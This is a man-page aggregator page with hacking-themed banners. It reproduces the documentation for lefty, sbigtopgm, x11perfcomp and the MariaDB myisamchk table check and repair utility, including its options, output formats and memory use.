lefty is a two-view graphics editor for technical pictures. This editor has no hardwired knowledge about specific picture layouts or editing operations. Each picture is described by a program that contains functions to draw the picture and functions to perform editing operations that are appropriate for the specific picture. Primitive user actions, like mouse and keyboard events, are also bound to functions in this program. Besides the graphical view of the picture itself, the editor presents a textual view of the program that describes the picture. Programmability and the two-view interface allow the editor to handle a variety of pictures, but are particularly useful for pictures used in technical contexts, e.g., graphs and trees. Also, lefty can communicate with other processes. This feature allows it to use existing tools to compute specific picture layouts and allows external processes to use the editor as a front end to display their data structures graphically.

USAGE

The file name is optional. It may be -, for reading from standard input. lefty uses two environment variables, LEFTYPATH and LEFTYOPTIONS. LEFTYPATH is a colon separated list of directories. When lefty tries to open a file, it searches that path for the file. When lefty tries to start up another process, it searches LEFTYPATH first, then the standard PATH variable. LEFTYOPTIONS can be used to set specific options. Options specified on the command line override options set through this variable.

OPTIONS

-x
Instructs the editor to exit after processing file.

-e <expression>
<expression> is parsed and executed.

-el <num>
Set error reporting level. The default value is 0. 0 never prints any messages. 1 prints severe errors, such as trying to return from a non function. 2 is the most useful: it reports function calls that cannot be executed, either because there is no function, or because of argument mismatches. 3 also warns about bad variable names. 4,5 warn about expressions that do not return a value. Only level 1 messages are real errors. The rest arise from legal lefty statements, but may be caused by some logic errors.

-sd <num>
Specifies how much of the stack to show, when an error message is to be printed. The default value is 2. With 0, no part of the stack is shown. With 1, only the top stack frame is printed. With 2, the full stack is printed.

-sb <num>
Specifies how much of each function in the stack to show, when an error message is to be printed. The default value is 2. With 0, no part of the function is shown. With 1, only the line around the error is printed. With 2, the full function body is printed.

-df <string>
Sets the default font. This font is used whenever a requested font cannot be found. The string must be a legal X font. If string is ’’, lefty will draw small boxes instead of text.

-ps <file>
Specifies a default file name for postscript files. This name is used when no name is specified in the createwidget call. The default file name is out.ps.

-V
Prints the version.

-?
Prints the usage and exits.

SEE ALSO

lefty user guide.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2095 - Linux cli command sbigtopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sbigtopgm and provides detailed information about the command sbigtopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sbigtopgm.

.

NAME 🖥️ sbigtopgm 🖥️

convert an SBIG CCDOPS file to PGM

SYNOPSIS

sbigtopgm

[sbigfile]

DESCRIPTION

This program is part of Netpbm(1) .

sbigtopgm reads an image file in the native format used by the Santa Barbara Instrument Group (SBIG) astronomical CCD cameras, and produces a PGM image as output. Additional information on SBIG cameras and documentation of the file format is available at the Web site, http://www.sbig.com/ .

sbigtopgm recognizes some variation on the documented SBIG Type 3 format. It allows any capitalization in the header. It ignores all whitespace in the header except newlines. So a header line can end in newline, CRLF, or the bizarre LF-CR actually required by the spec.

OPTIONS

There are no command line options defined specifically for sbigtopgm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pgmtosbig(1) pgm(1)

AUTHOR

John Walker ( http://www.fourmilab.ch/ ), January 1998. This program is in the public domain.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/sbigtopgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2096 - Linux cli command x11perfcomp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x11perfcomp and provides detailed information about the command x11perfcomp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x11perfcomp.

NAME 🖥️ x11perfcomp 🖥️

X11 server performance comparison program

SYNTAX

x11perfcomp [ -r | -ro ] [ -l label_file ] files

DESCRIPTION

The x11perfcomp program merges the output of several x11perf(1) runs into a nice tabular format. It takes the results in each file, fills in any missing test results if necessary, and for each test shows the objects/second rate of each server. If invoked with the -r or -ro options, it shows the relative performance of each server to the first server.

Normally, x11perfcomp uses the first file specified to determine which specific tests it should report on. Some (non-DEC :) servers may fail to perform all tests. In this case, x11perfcomp automatically substitutes in a rate of 0.0 objects/second. Since the first file determines which tests to report on, this file must contain a superset of the tests reported in the other files, else x11perfcomp will fail.

You can provide an explicit list of tests to report on by using the -l switch to specify a file of labels. You can create a label file by using the -label option in x11perf.

OPTIONS

x11perfcomp accepts the options listed below:

-r
Specifies that the output should also include relative server performance.

-ro
Specifies that the output should include only relative server performance.

-l label_file
Specifies a label file to use.

X DEFAULTS

There are no X defaults used by this program.

SEE ALSO

X(7), x11perf(1)

AUTHORS

Mark Moraes wrote the original scripts to compare servers.
Joel McCormack just munged them together a bit.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2097 - Linux cli command myisamchk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command myisamchk and provides detailed information about the command myisamchk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the myisamchk.

NAME 🖥️ myisamchk 🖥️

MyISAM table-maintenance utility

SYNOPSIS

myisamchk [options] tbl_name

DESCRIPTION

The myisamchk utility gets information about your database tables or checks, repairs, or optimizes them. myisamchk works with MyISAM tables (tables that have .MYD and .MYI files for storing data and indexes).

The use of myisamchk with partitioned tables is not supported.

Caution

It is best to make a backup of a table before performing a table repair operation; under some circumstances the operation might cause data loss. Possible causes include but are not limited to file system errors.

Invoke myisamchk like this:

shell> myisamchk [options] tbl_name …

The options specify what you want myisamchk to do. They are described in the following sections. You can also get a list of options by invoking myisamchk –help.

With no options, myisamchk simply checks your table as the default operation. To get more information or to tell myisamchk to take corrective action, specify options as described in the following discussion.

tbl_name is the database table you want to check or repair. If you run myisamchk somewhere other than in the database directory, you must specify the path to the database directory, because myisamchk has no idea where the database is located. In fact, myisamchk does not actually care whether the files you are working on are located in a database directory. You can copy the files that correspond to a database table into some other location and perform recovery operations on them there.

You can name several tables on the myisamchk command line if you wish. You can also specify a table by naming its index file (the file with the .MYI suffix). This allows you to specify all tables in a directory by using the pattern *.MYI. For example, if you are in a database directory, you can check all the MyISAM tables in that directory like this:

shell> myisamchk *.MYI

If you are not in the database directory, you can check all the tables there by specifying the path to the directory:

shell> myisamchk /path/to/database_dir/*.MYI

You can even check all tables in all databases by specifying a wildcard with the path to the MariaDB data directory:

shell> myisamchk /path/to/datadir//.MYI

The recommended way to quickly check all MyISAM tables is:

shell> myisamchk –silent –fast /path/to/datadir//.MYI

If you want to check all MyISAM tables and repair any that are corrupted, you can use the following command:

shell> myisamchk –silent –force –fast –update-state
–key_buffer_size=64M –sort_buffer_size=64M
–read_buffer_size=1M –write_buffer_size=1M
/path/to/datadir//.MYI

This command assumes that you have more than 64MB free. For more information about memory allocation with myisamchk, see the section called “MYISAMCHK MEMORY USAGE”.

Important

You must ensure that no other program is using the tables while you are running myisamchk. The most effective means of doing so is to shut down the MariaDB server while running myisamchk, or to lock all tables that myisamchk is being used on.

Otherwise, when you run myisamchk, it may display the following error message:

warning: clients are using or haven’t closed the table properly

This means that you are trying to check a table that has been updated by another program (such as the mysqld server) that hasn’t yet closed the file or that has died without closing the file properly, which can sometimes lead to the corruption of one or more MyISAM tables.

If mysqld is running, you must force it to flush any table modifications that are still buffered in memory by using FLUSH TABLES. You should then ensure that no one is using the tables while you are running myisamchk

However, the easiest way to avoid this problem is to use CHECK TABLE instead of myisamchk to check tables.

myisamchk supports the following options, which can be specified on the command line or in the [myisamchk] option file group.

MYISAMCHK GENERAL OPTIONS

The options described in this section can be used for any type of table maintenance operation performed by myisamchk. The sections following this one describe options that pertain only to specific operations, such as table checking or repairing.

·

–help, -?

Display a help message and exit. Options are grouped by type of operation.

·

–HELP, -H

Display a help message and exit. Options are presented in a single list.

·

**–debug=**debug_options, -# debug_options

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o,/tmp/myisamchk.trace'.

·

–silent, -s

Silent mode. Write output only when errors occur. You can use -s twice (-ss) to make myisamchk very silent.

·

–verbose, -v

Verbose mode. Print more information about what the program does. This can be used with -d and -e. Use -v multiple times (-vv, -vvv) for even more output.

·

–version, -V

Display version information and exit.

·

–wait, -w

Instead of terminating with an error if the table is locked, wait until the table is unlocked before continuing. If you are running mysqld with external locking disabled, the table can be locked only by another myisamchk command.

·

–print-defaults

Print the program argument list and exit.

·

–no-defaults

Don’t read default options from any option file.

·

–defaults-file=#

Only read default options from the given file.

·

–defaults-extra-file=#

Read this file after the global files are read.

You can also set the following variables by using **–var_name=**value syntax:

VariableDefault Value
decode_bits9
ft_max_word_lenversion-dependent
ft_min_word_len4
ft_stopword_filebuilt-in list
key_buffer_size523264
key_cache_block_size1024
myisam_block_size1024
read_buffer_size262136
sort_buffer_size2097144
sort_key_blocks16
stats_methodnulls_unequal
write_buffer_size262136

The possible myisamchk variables and their default values can be examined with myisamchk –help:

sort_buffer_size is used when the keys are repaired by sorting keys, which is the normal case when you use –recover.

key_buffer_size is used when you are checking the table with –extend-check or when the keys are repaired by inserting keys row by row into the table (like when doing normal inserts). Repairing through the key buffer is used in the following cases:

·

You use –safe-recover.

·

The temporary files needed to sort the keys would be more than twice as big as when creating the key file directly. This is often the case when you have large key values for CHAR, VARCHAR, or TEXT columns, because the sort operation needs to store the complete key values as it proceeds. If you have lots of temporary space and you can force myisamchk to repair by sorting, you can use the –sort-recover option.

Repairing through the key buffer takes much less disk space than using sorting, but is also much slower.

If you want a faster repair, set the key_buffer_size and sort_buffer_size variables to about 25% of your available memory. You can set both variables to large values, because only one of them is used at a time.

myisam_block_size is the size used for index blocks.

stats_method influences how NULL values are treated for index statistics collection when the –analyze option is given. It acts like the myisam_stats_method system variable. For more information, see the description of myisam_stats_method in Section 5.1.4, “Server System Variables”, and Section 7.4.7, “MyISAM Index Statistics Collection”.

ft_min_word_len and ft_max_word_len indicate the minimum and maximum word length for FULLTEXT indexes. ft_stopword_file names the stopword file. These need to be set under the following circumstances.

If you use myisamchk to perform an operation that modifies table indexes (such as repair or analyze), the FULLTEXT indexes are rebuilt using the default full-text parameter values for minimum and maximum word length and the stopword file unless you specify otherwise. This can result in queries failing.

The problem occurs because these parameters are known only by the server. They are not stored in MyISAM index files. To avoid the problem if you have modified the minimum or maximum word length or the stopword file in the server, specify the same ft_min_word_len, ft_max_word_len, and ft_stopword_file values to myisamchk that you use for mysqld. For example, if you have set the minimum word length to 3, you can repair a table with myisamchk like this:

shell> myisamchk –recover –ft_min_word_len=3 tbl_name.MYI

To ensure that myisamchk and the server use the same values for full-text parameters, you can place each one in both the [mysqld] and [myisamchk] sections of an option file:

[mysqld] ft_min_word_len=3 [myisamchk] ft_min_word_len=3

An alternative to using myisamchk is to use the REPAIR TABLE, ANALYZE TABLE, OPTIMIZE TABLE, or ALTER TABLE. These statements are performed by the server, which knows the proper full-text parameter values to use.

MYISAMCHK CHECK OPTIONS

myisamchk supports the following options for table checking operations:

·

–check, -c

Check the table for errors. This is the default operation if you specify no option that selects an operation type explicitly.

·

–check-only-changed, -C

Check only tables that have changed since the last check.

·

–extend-check, -e

Check the table very thoroughly. This is quite slow if the table has many indexes. This option should only be used in extreme cases. Normally, myisamchk or myisamchk –medium-check should be able to determine whether there are any errors in the table.

If you are using –extend-check and have plenty of memory, setting the key_buffer_size variable to a large value helps the repair operation run faster.

For a description of the output format, see the section called “MYISAMCHK TABLE INFORMATION”.

·

–fast, -F

Check only tables that haven’t been closed properly.

·

–force, -f

Do a repair operation automatically if myisamchk finds any errors in the table. The repair type is the same as that specified with the –recover or -r option. States will be updated as with –update-state.

·

–information, -i

Print informational statistics about the table that is checked.

·

–medium-check, -m

Do a check that is faster than an –extend-check operation. This finds only 99.99% of all errors, which should be good enough in most cases.

·

–read-only, -T

Do not mark the table as checked. This is useful if you use myisamchk to check a table that is in use by some other application that does not use locking, such as mysqld when run with external locking disabled.

·

–update-state, -U

Store information in the .MYI file to indicate when the table was checked and whether the table crashed. This should be used to get full benefit of the –check-only-changed option, but you shouldn’t use this option if the mysqld server is using the table and you are running it with external locking disabled.

MYISAMCHK REPAIR OPTIONS

myisamchk supports the following options for table repair operations (operations performed when an option such as –recover or –safe-recover is given):

·

–backup, -B

Make a backup of the .MYD file as file_name-time.BAK

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–correct-checksum

Correct the checksum information for the table.

·

–create-missing-keys

Create missing keys. This assumes that the data file is correct and that the number of rows stored in the index file is correct. Enables –quick.

·

**–data-file-length=**len, -D len

The maximum length of the data file (when re-creating data file when it is “full”).

·

–extend-check, -e

Do a repair that tries to recover every possible row from the data file. Normally, this also finds a lot of garbage rows. Do not use this option unless you are desperate.

For a description of the output format, see the section called “MYISAMCHK TABLE INFORMATION”.

·

–force, -f

Overwrite old intermediate files (files with names like tbl_name.TMD) instead of aborting. Add another –force to avoid ‘myisam_sort_buffer_size is too small’ errors. In this case we will attempt to do the repair with the given myisam_sort_buffer_size and dynamically allocate as many management buffers as needed.

·

**–keys-used=**val, -k val

For myisamchk, the option value is a bit-value that indicates which indexes to update. Each binary bit of the option value corresponds to a table index, where the first index is bit 0. An option value of 0 disables updates to all indexes, which can be used to get faster inserts. Deactivated indexes can be reactivated by using myisamchk -r.

·

**–max-record-length=**len

Skip rows larger than the given length if myisamchk cannot allocate memory to hold them.

·

–parallel-recover, -p

Use the same technique as -r and -n, but create all the keys in parallel, using different threads. This is beta-quality code. Use at your own risk!

·

–quick, -q

Achieve a faster repair by modifying only the index file, not the data file. You can specify this option twice to force myisamchk to modify the original data file in case of duplicate keys. NOTE: Tables where the data file is corrupted can’t be fixed with this option.

·

–recover, -r

Do a repair that can fix almost any problem except unique keys that are not unique (which is an extremely unlikely error with MyISAM tables). If you want to recover a table, this is the option to try first. You should try –safe-recover only if myisamchk reports that the table cannot be recovered using –recover. (In the unlikely case that –recover fails, the data file remains intact.)

If you have lots of memory, you should increase the value of sort_buffer_size.

·

–safe-recover, -o

Do a repair using an old recovery method that reads through all rows in order and updates all index trees based on the rows found. This is an order of magnitude slower than –recover, but can handle a couple of very unlikely cases that –recover cannot. This recovery method also uses much less disk space than –recover. Normally, you should repair first using –recover, and then with –safe-recover only if –recover fails.

If you have lots of memory, you should increase the value of key_buffer_size.

·

**–set-collation=**name

Specify the collation to use for sorting table indexes. The character set name is implied by the first part of the collation name.

·

–sort-recover, -n

Force myisamchk to use sorting to resolve the keys even if the temporary files would be very large.

·

**–tmpdir=**path, -t path

The path of the directory to be used for storing temporary files. If this is not set, myisamchk uses the value of the TMPDIR environment variable. tmpdir can be set to a list of directory paths that are used successively in round-robin fashion for creating temporary files. The separator character between directory names is the colon (“:”) on Unix and the semicolon (“;”) on Windows, NetWare, and OS/2.

·

–unpack, -u

Unpack a table that was packed with myisampack.

OTHER MYISAMCHK OPTIONS

myisamchk supports the following options for actions other than table checks and repairs:

·

–analyze, -a

Analyze the distribution of key values. This improves join performance by enabling the join optimizer to better choose the order in which to join the tables and which indexes it should use. To obtain information about the key distribution, use a myisamchk –description –verbose tbl_name command or the SHOW INDEX FROM tbl_name statement.

·

**–block-search=**offset, -b offset

Find the record that a block at the given offset belongs to.

·

–description, -d

Print some descriptive information about the table. Specifying the –verbose option once or twice produces additional information. See the section called “MYISAMCHK TABLE INFORMATION”.

·

–set-auto-increment[=value], -A[value]

Force AUTO_INCREMENT numbering for new records to start at the given value (or higher, if there are existing records with AUTO_INCREMENT values this large). If value is not specified, AUTO_INCREMENT numbers for new records begin with the largest value currently in the table, plus one.

·

–sort-index, -S

Sort the index tree blocks in high-low order. This optimizes seeks and makes table scans that use indexes faster.

·

**–sort-records=**N, -R N

Sort records according to a particular index. This makes your data much more localized and may speed up range-based SELECT and ORDER BY operations that use this index. (The first time you use this option to sort a table, it may be very slow.) To determine a table’s index numbers, use SHOW INDEX, which displays a table’s indexes in the same order that myisamchk sees them. Indexes are numbered beginning with 1.

If keys are not packed (PACK_KEYS=0), they have the same length, so when myisamchk sorts and moves records, it just overwrites record offsets in the index. If keys are packed (PACK_KEYS=1), myisamchk must unpack key blocks first, then re-create indexes and pack the key blocks again. (In this case, re-creating indexes is faster than updating offsets for each index.)

·

–stats-method=name

Specifies how index statistics collection code should treat NULLs. Possible values of name are “nulls_unequal” (default), “nulls_equal” (emulate MySQL 4 behavior), and “nulls_ignored”.

MYISAMCHK TABLE INFORMATION

To obtain a description of a MyISAM table or statistics about it, use the commands shown here. The output from these commands is explained later in this section.

·

myisamchk -d tbl_name

Runs myisamchk in “describe mode” to produce a description of your table. If you start the MariaDB server with external locking disabled, myisamchk may report an error for a table that is updated while it runs. However, because myisamchk does not change the table in describe mode, there is no risk of destroying data.

·

myisamchk -dv tbl_name

Adding -v runs myisamchk in verbose mode so that it produces more information about the table. Adding -v a second time produces even more information.

·

myisamchk -eis tbl_name

Shows only the most important information from a table. This operation is slow because it must read the entire table.

·

myisamchk -eiv tbl_name

This is like -eis, but tells you what is being done.

The tbl_name argument can be either the name of a MyISAM table or the name of its index file, as described in myisamchk(1). Multiple tbl_name arguments can be given.

Suppose that a table named person has the following structure. (The MAX_ROWS table option is included so that in the example output from myisamchk shown later, some values are smaller and fit the output format more easily.)

CREATE TABLE person ( id INT NOT NULL AUTO_INCREMENT, last_name VARCHAR(20) NOT NULL, first_name VARCHAR(20) NOT NULL, birth DATE, death DATE, PRIMARY KEY (id), INDEX (last_name, first_name), INDEX (birth) ) MAX_ROWS = 1000000;

Suppose also that the table has these data and index file sizes:

-rw-rw—- 1 mysql mysql 9347072 Aug 19 11:47 person.MYD -rw-rw—- 1 mysql mysql 6066176 Aug 19 11:47 person.MYI

Example of myisamchk -dvv output:

MyISAM file: person Record format: Packed Character set: latin1_swedish_ci (8) File-version: 1 Creation time: 2009-08-19 16:47:41 Recover time: 2009-08-19 16:47:56 Status: checked,analyzed,optimized keys Auto increment key: 1 Last value: 306688 Data records: 306688 Deleted blocks: 0 Datafile parts: 306688 Deleted data: 0 Datafile pointer (bytes): 4 Keyfile pointer (bytes): 3 Datafile length: 9347072 Keyfile length: 6066176 Max datafile length: 4294967294 Max keyfile length: 17179868159 Recordlength: 54 table description: Key Start Len Index Type Rec/key Root Blocksize 1 2 4 unique long 1 99328 1024 2 6 20 multip. varchar prefix 512 3563520 1024 27 20 varchar 512 3 48 3 multip. uint24 NULL 306688 6065152 1024 Field Start Length Nullpos Nullbit Type 1 1 1 2 2 4 no zeros 3 6 21 varchar 4 27 21 varchar 5 48 3 1 1 no zeros 6 51 3 1 2 no zeros

Explanations for the types of information myisamchk produces are given here. “Keyfile” refers to the index file. “Record” and “row” are synonymous, as are “field” and “column.”

The initial part of the table description contains these values:

·

MyISAM file

Name of the MyISAM (index) file.

·

Record format

The format used to store table rows. The preceding examples use Fixed length. Other possible values are Compressed and Packed. (Packed corresponds to what SHOW TABLE STATUS reports as Dynamic.)

·

Chararacter set

The table default character set.

·

File-version

Version of MyISAM format. Currently always 1.

·

Creation time

When the data file was created.

·

Recover time

When the index/data file was last reconstructed.

·

Status

Table status flags. Possible values are crashed, open, changed, analyzed, optimized keys, and sorted index pages.

·

Auto increment key, Last value

The key number associated the table’s AUTO_INCREMENT column, and the most recently generated value for this column. These fields do not appear if there is no such column.

·

Data records

The number of rows in the table.

·

Deleted blocks

How many deleted blocks still have reserved space. You can optimize your table to minimize this space. See Section 6.6.4, “MyISAM Table Optimization”.

·

Datafile parts

For dynamic-row format, this indicates how many data blocks there are. For an optimized table without fragmented rows, this is the same as Data records.

·

Deleted data

How many bytes of unreclaimed deleted data there are. You can optimize your table to minimize this space. See Section 6.6.4, “MyISAM Table Optimization”.

·

Datafile pointer

The size of the data file pointer, in bytes. It is usually 2, 3, 4, or 5 bytes. Most tables manage with 2 bytes, but this cannot be controlled from MariaDB yet. For fixed tables, this is a row address. For dynamic tables, this is a byte address.

·

Keyfile pointer

The size of the index file pointer, in bytes. It is usually 1, 2, or 3 bytes. Most tables manage with 2 bytes, but this is calculated automatically by MariaDB. It is always a block address.

·

Max datafile length

How long the table data file can become, in bytes.

·

Max keyfile length

How long the table index file can become, in bytes.

·

Recordlength

How much space each row takes, in bytes.

The table description part of the output includes a list of all keys in the table. For each key, myisamchk displays some low-level information:

·

Key

This key’s number. This value is shown only for the first column of the key. If this value is missing, the line corresponds to the second or later column of a multiple-column key. For the table shown in the example, there are two table description lines for the second index. This indicates that it is a multiple-part index with two parts.

·

Start

Where in the row this portion of the index starts.

·

Len

How long this portion of the index is. For packed numbers, this should always be the full length of the column. For strings, it may be shorter than the full length of the indexed column, because you can index a prefix of a string column. The total length of a multiple-part key is the sum of the Len values for all key parts.

·

Index

Whether a key value can exist multiple times in the index. Possible values are unique or multip. (multiple).

·

Type

What data type this portion of the index has. This is a MyISAM data type with the possible values packed, stripped, or empty.

·

Root

Address of the root index block.

·

Blocksize

The size of each index block. By default this is 1024, but the value may be changed at compile time when MariaDB is built from source.

·

Rec/key

This is a statistical value used by the optimizer. It tells how many rows there are per value for this index. A unique index always has a value of 1. This may be updated after a table is loaded (or greatly changed) with myisamchk -a. If this is not updated at all, a default value of 30 is given.

The last part of the output provides information about each column:

·

Field

The column number.

·

Start

The byte position of the column within table rows.

·

Length

The length of the column in bytes.

·

Nullpos, Nullbit

For columns that can be NULL, MyISAM stores NULL values as a flag in a byte. Depending on how many nullable columns there are, there can be one or more bytes used for this purpose. The Nullpos and Nullbit values, if nonempty, indicate which byte and bit contains that flag indicating whether the column is NULL.

The position and number of bytes used to store NULL flags is shown in the line for field 1. This is why there are six Field lines for the person table even though it has only five columns.

·

Type

The data type. The value may contain any of the following descriptors:

·

constant

All rows have the same value.

·

no endspace

Do not store endspace.

·

no endspace, not_always

Do not store endspace and do not do endspace compression for all values.

·

no endspace, no empty

Do not store endspace. Do not store empty values.

·

table-lookup

The column was converted to an ENUM.

·

zerofill(N)

The most significant N bytes in the value are always 0 and are not stored.

·

no zeros

Do not store zeros.

·

always zero

Zero values are stored using one bit.

·

Huff tree

The number of the Huffman tree associated with the column.

·

Bits

The number of bits used in the Huffman tree.

The Huff tree and Bits fields are displayed if the table has been compressed with myisampack. See myisampack(1), for an example of this information.

Example of myisamchk -eiv output:

Checking MyISAM file: person Data records: 306688 Deleted blocks: 0 - check file-size - check record delete-chain No recordlinks - check key delete-chain block_size 1024: - check index reference - check data record references index: 1 Key: 1: Keyblocks used: 98% Packed: 0% Max levels: 3 - check data record references index: 2 Key: 2: Keyblocks used: 99% Packed: 97% Max levels: 3 - check data record references index: 3 Key: 3: Keyblocks used: 98% Packed: -14% Max levels: 3 Total: Keyblocks used: 98% Packed: 89% - check records and index references *** LOTS OF ROW NUMBERS DELETED *** Records: 306688 M.recordlength: 25 Packed: 83% Recordspace used: 97% Empty space: 2% Blocks/Record: 1.00 Record blocks: 306688 Delete blocks: 0 Record data: 7934464 Deleted data: 0 Lost space: 256512 Linkdata: 1156096 User time 43.08, System time 1.68 Maximum resident set size 0, Integral resident set size 0 Non-physical pagefaults 0, Physical pagefaults 0, Swaps 0 Blocks in 0 out 7, Messages in 0 out 0, Signals 0 Voluntary context switches 0, Involuntary context switches 0 Maximum memory usage: 1046926 bytes (1023k)

myisamchk -eiv output includes the following information:

·

Data records

The number of rows in the table.

·

Deleted blocks

How many deleted blocks still have reserved space. You can optimize your table to minimize this space. See Section 6.6.4, “MyISAM Table Optimization”.

·

Key

The key number.

·

Keyblocks used

What percentage of the keyblocks are used. When a table has just been reorganized with myisamchk, the values are very high (very near theoretical maximum).

·

Packed

MariaDB tries to pack key values that have a common suffix. This can only be used for indexes on CHAR and VARCHAR columns. For long indexed strings that have similar leftmost parts, this can significantly reduce the space used. In the preceding example, the second key is 40 bytes long and a 97% reduction in space is achieved.

·

Max levels

How deep the B-tree for this key is. Large tables with long key values get high values.

·

Records

How many rows are in the table.

·

M.recordlength

The average row length. This is the exact row length for tables with fixed-length rows, because all rows have the same length.

·

Packed

MariaDB strips spaces from the end of strings. The Packed value indicates the percentage of savings achieved by doing this.

·

Recordspace used

What percentage of the data file is used.

·

Empty space

What percentage of the data file is unused.

·

Blocks/Record

Average number of blocks per row (that is, how many links a fragmented row is composed of). This is always 1.0 for fixed-format tables. This value should stay as close to 1.0 as possible. If it gets too large, you can reorganize the table. See Section 6.6.4, “MyISAM Table Optimization”.

·

Recordblocks

How many blocks (links) are used. For fixed-format tables, this is the same as the number of rows.

·

Deleteblocks

How many blocks (links) are deleted.

·

Recorddata

How many bytes in the data file are used.

·

Deleted data

How many bytes in the data file are deleted (unused).

·

Lost space

If a row is updated to a shorter length, some space is lost. This is the sum of all such losses, in bytes.

·

Linkdata

When the dynamic table format is used, row fragments are linked with pointers (4 to 7 bytes each). Linkdata is the sum of the amount of storage used by all such pointers.

MYISAMCHK MEMORY USAGE

Memory allocation is important when you run myisamchk. myisamchk uses no more memory than its memory-related variables are set to. If you are going to use myisamchk on very large tables, you should first decide how much memory you want it to use. The default is to use only about 3MB to perform repairs. By using larger values, you can get myisamchk to operate faster. For example, if you have more than 32MB RAM, you could use options such as these (in addition to any other options you might specify):

shell> myisamchk –sort_buffer_size=16M
–key_buffer_size=16M
–read_buffer_size=1M
–write_buffer_size=1M …

Using –sort_buffer_size=16M should probably be enough for most cases.

Be aware that myisamchk uses temporary files in TMPDIR. If TMPDIR points to a memory file system, out of memory errors can easily occur. If this happens, run myisamchk with the **–tmpdir=**path option to specify a directory located on a file system that has more space.

When performing repair operations, myisamchk also needs a lot of disk space:

·

Twice the size of the data file (the original file and a copy). This space is not needed if you do a repair with –quick; in this case, only the index file is re-created. This space must be available on the same file system as the original data file, as the copy is created in the same directory as the original.

·

Space for the new index file that replaces the old one. The old index file is truncated at the start of the repair operation, so you usually ignore this space. This space must be available on the same file system as the original data file.

·

When using –recover or –sort-recover (but not when using –safe-recover), you need space on disk for sorting. This space is allocated in the temporary directory (specified by TMPDIR or **–tmpdir=**path). The following formula yields the amount of space required:

(largest_key + row_pointer_length) × number_of_rows × 2

You can check the length of the keys and the row_pointer_length with myisamchk -dv tbl_name (see the section called “MYISAMCHK TABLE INFORMATION”). The row_pointer_length and number_of_rows values are the Datafile pointer and Data records values in the table description. To determine the largest_key value, check the Key lines in the table description. The Len column indicates the number of bytes for each key part. For a multiple-column index, the key size is the sum of the Len values for all key parts.

If you have a problem with disk space during repair, you can try –safe-recover instead of –recover.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

